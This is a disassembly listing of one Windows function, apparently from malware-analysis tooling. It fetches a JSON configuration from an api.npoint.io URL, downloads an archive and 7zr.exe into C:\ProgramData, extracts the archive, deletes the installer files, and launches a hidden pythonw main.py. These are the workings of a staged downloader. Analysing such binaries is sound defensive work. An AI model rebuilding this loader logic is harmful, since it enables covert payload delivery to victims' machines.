Function at 0x406470
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x430040]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0xf
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Program_started
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409fe0
lea ecx, [esp + 0x30]
call fcn.00405c80
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x4064f9
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4064ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
push 0x2a
xorps xmm0, xmm0
mov dword [esp + 0x134], 0
push str.https:__api.npoint.io_18d55c0adc0da69697f6
lea ecx, [esp + 0x128]
movaps xmmword [esp + 0x128], xmm0
mov dword [esp + 0x13c], 0
call fcn.00409fe0
xorps xmm0, xmm0
mov dword [esp + 0x110], 0
xor eax, eax
movaps xmmword [esp + 0x100], xmm0
lea edx, [esp + 0x100]
mov dword [esp + 0x114], 7
lea ecx, [esp + 0x120]
mov word [esp + 0x100], ax
call fcn.00402550
test al, al
jne 0x406607
mov ecx, dword [esp + 0x130]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 0x1d
jb 0x40707f
cmp dword [esp + 0x134], 7
lea eax, [esp + 0x120]
push ecx
cmova eax, dword [esp + 0x124]
push eax
push 0x1d
push str.Failed_to_retrieve_JSON_from
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.0040a7b0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x4065fd
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4065f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
jmp 0x406fc7
xorps xmm0, xmm0
mov dword [esp + 0xb0], 0
xor eax, eax
movaps xmmword [esp + 0xa0], xmm0
push 0x12
push str.cloud_data_project
lea ecx, [esp + 0x38]
mov dword [esp + 0xbc], 7
mov word [esp + 0xa8], ax
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call fcn.00409fe0
lea eax, [esp + 0xa0]
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x104]
call fcn.00404260
mov ecx, dword [esp + 0x48]
add esp, 4
mov byte [esp + 0xb], al
cmp ecx, 7
jbe 0x4066ae
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4066a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
mov al, byte [esp + 0x13]
add esp, 8
xorps xmm0, xmm0
test al, al
jne 0x406729
push 0x30
push str.Failed_to_extract_cloud_data_project_from_JSON
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.00409fe0
lea ecx, [esp + 0x30]
call fcn.00405c80
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x40671f
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406715
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
jmp 0x406f65
push 0xe
push str.C:ProgramData
lea ecx, [esp + 0x88]
movaps xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0
call fcn.00409fe0
mov ecx, dword [esp + 0x90]
mov edi, 0x7ffffffe
mov eax, edi
sub eax, ecx
cmp eax, 0xd
jb 0x40707f
cmp dword [esp + 0x94], 7
lea eax, [esp + 0x80]
push 0xd
cmova eax, dword [esp + 0x84]
push str.CloudData.7z
push ecx
push eax
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x80]
call fcn.0040a7b0
lea edx, [esp + 0x68]
lea ecx, [esp + 0xa0]
call fcn.00403350
test al, al
jne 0x40684b
mov ecx, dword [esp + 0xb0]
sub edi, ecx
cmp edi, 0x1d
jb 0x40707f
cmp dword [esp + 0xb4], 7
lea eax, [esp + 0xa0]
push ecx
cmova eax, dword [esp + 0xa4]
push eax
push 0x1d
push str.Failed_to_download_file_from
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.0040a7b0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x406841
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406837
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
jmp 0x406ed0
push 0x1f
xorps xmm0, xmm0
mov dword [esp + 0xf4], 0
push str.https:__www.7_zip.org_a_7zr.exe
lea ecx, [esp + 0xe8]
movaps xmmword [esp + 0xe8], xmm0
mov dword [esp + 0xfc], 0
call fcn.00409fe0
mov ecx, dword [esp + 0x90]
mov eax, edi
sub eax, ecx
cmp eax, 8
jb 0x40707f
cmp dword [esp + 0x94], 7
lea eax, [esp + 0x80]
push 8
cmova eax, dword [esp + 0x84]
push str.7zr.exe
push ecx
push eax
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0xe0]
call fcn.0040a7b0
lea edx, [esp + 0xc8]
lea ecx, [esp + 0xe0]
call fcn.00403350
test al, al
jne 0x406920
mov ecx, dword [esp + 0xf0]
sub edi, ecx
cmp edi, 0x20
jb 0x40707f
cmp dword [esp + 0xf4], 7
lea eax, [esp + 0xe0]
push ecx
cmova eax, dword [esp + 0xe4]
push eax
push 0x20
push str.Failed_to_download_7zr.exe_from
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.0040a7b0
jmp 0x406dc2
cmp dword [esp + 0xdc], 7
lea ecx, [esp + 0x168]
push ecx
lea eax, [esp + 0xcc]
cmova eax, dword [esp + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x406d9a
cmp dword [esp + 0x184], 0
jg 0x4069b0
jl 0x406969
cmp dword [esp + 0x188], 0x19000
jae 0x4069b0
push 0x25
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.7zr.exe_is_too_small__likely_invalid.
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409fe0
lea ecx, [esp + 0x30]
call fcn.00405c80
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x406e07
mov edx, dword [esp + 0x30]
jmp 0x406dd8
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x54]
call fcn.004089d0
cmp dword [esp + 0x64], 7
lea eax, [esp + 0x50]
push 0
cmova eax, dword [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x406a74
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x406a74
mov ecx, dword [esp + 0x60]
sub edi, ecx
cmp edi, 0x1c
jb 0x40707f
cmp dword [esp + 0x64], 7
lea eax, [esp + 0x50]
push ecx
cmova eax, dword [esp + 0x54]
push eax
push 0x1c
push str.Failed_to_create_directory:
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.0040a7b0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x406a6a
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406a60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
jmp 0x406d45
xor eax, eax
mov dword [esp + 0x150], 0
xorps xmm0, xmm0
mov dword [esp + 0x154], 7
movaps xmmword [esp + 0x140], xmm0
lea edx, [esp + 0x50]
mov word [esp + 0x140], ax
lea ecx, [esp + 0x68]
lea eax, [esp + 0x140]
push eax
lea eax, [esp + 0xcc]
push eax
call fcn.004044f0
add esp, 8
test al, al
jne 0x406b4a
mov ecx, dword [esp + 0x78]
sub edi, ecx
cmp edi, 0x17
jb 0x40707f
cmp dword [esp + 0x7c], 7
lea eax, [esp + 0x68]
push ecx
cmova eax, dword [esp + 0x6c]
push eax
push 0x17
push str.Failed_to_extract_ZIP:
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.0040a7b0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x406b40
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406b36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
jmp 0x406ce3
cmp dword [esp + 0x7c], 7
lea eax, [esp + 0x68]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmova eax, dword [esp + 0x68]
push eax
call esi
cmp dword [esp + 0xdc], 7
lea eax, [esp + 0xc8]
cmova eax, dword [esp + 0xc8]
push eax
call esi
push 0x45
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.C:_ProgramData_CloudData_pythonw.exe_C:_ProgramData_CloudData_main.py
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409fe0
lea edx, [esp + 0x50]
lea ecx, [esp + 0x30]
call fcn.004050c0
test al, al
jne 0x406c38
mov ecx, dword [esp + 0x40]
sub edi, ecx
cmp edi, 0x12
jb 0x40707f
cmp dword [esp + 0x44], 7
lea eax, [esp + 0x30]
push ecx
cmova eax, dword [esp + 0x34]
push eax
push 0x12
push str.Failed_to_execute
push ecx
push dword [esp + 0x20]
lea ecx, [esp + 0x28]
call fcn.0040a7b0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x406c31
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406c27
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
jmp 0x406ca7
push 0x1e
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Program_finished_successfully.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409fe0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x406ca5
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406c9b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
xor esi, esi
mov ecx, dword [esp + 0x44]
cmp ecx, 7
jbe 0x406ce3
mov edx, dword [esp + 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406cd9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [esp + 0x154]
cmp ecx, 7
jbe 0x406d25
mov edx, dword [esp + 0x140]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406d1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
xor eax, eax
mov dword [esp + 0x150], 0
mov dword [esp + 0x154], 7
mov word [esp + 0x140], ax
mov ecx, dword [esp + 0x64]
cmp ecx, 7
jbe 0x406d81
mov edx, dword [esp + 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406d77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
xor eax, eax
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 7
mov word [esp + 0x50], ax
jmp 0x406e0c
push 0x21
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Failed_to_get_7zr.exe_attributes.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409fe0
lea ecx, [esp + 0x10]
call fcn.00405c80
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x406e07
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406dfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov esi, 1
mov ecx, dword [esp + 0xdc]
cmp ecx, 7
jbe 0x406e4e
mov edx, dword [esp + 0xc8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406e44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [esp + 0xf4]
xor eax, eax
mov dword [esp + 0xd8], 0
mov dword [esp + 0xdc], 7
mov word [esp + 0xc8], ax
cmp ecx, 7
jbe 0x406eb0
mov edx, dword [esp + 0xe0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406ea6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
xor eax, eax
mov dword [esp + 0xf0], 0
mov dword [esp + 0xf4], 7
mov word [esp + 0xe0], ax
mov ecx, dword [esp + 0x7c]
cmp ecx, 7
jbe 0x406f0c
mov edx, dword [esp + 0x68]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406f02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [esp + 0x94]
xor eax, eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 7
mov word [esp + 0x68], ax
cmp ecx, 7
jbe 0x406f65
mov edx, dword [esp + 0x80]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406f5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [esp + 0xb4]
cmp ecx, 7
jbe 0x406fa7
mov edx, dword [esp + 0xa0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406f9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
xor eax, eax
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 7
mov word [esp + 0xa0], ax
mov ecx, dword [esp + 0x114]
cmp ecx, 7
jbe 0x407009
mov edx, dword [esp + 0x100]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406fff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [esp + 0x134]
xor eax, eax
mov dword [esp + 0x110], 0
mov dword [esp + 0x114], 7
mov word [esp + 0x100], ax
cmp ecx, 7
jbe 0x407067
mov edx, dword [esp + 0x120]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40705d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407084
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [esp + 0x18c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0040bdf4
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401240
call fcn.004127c5
int3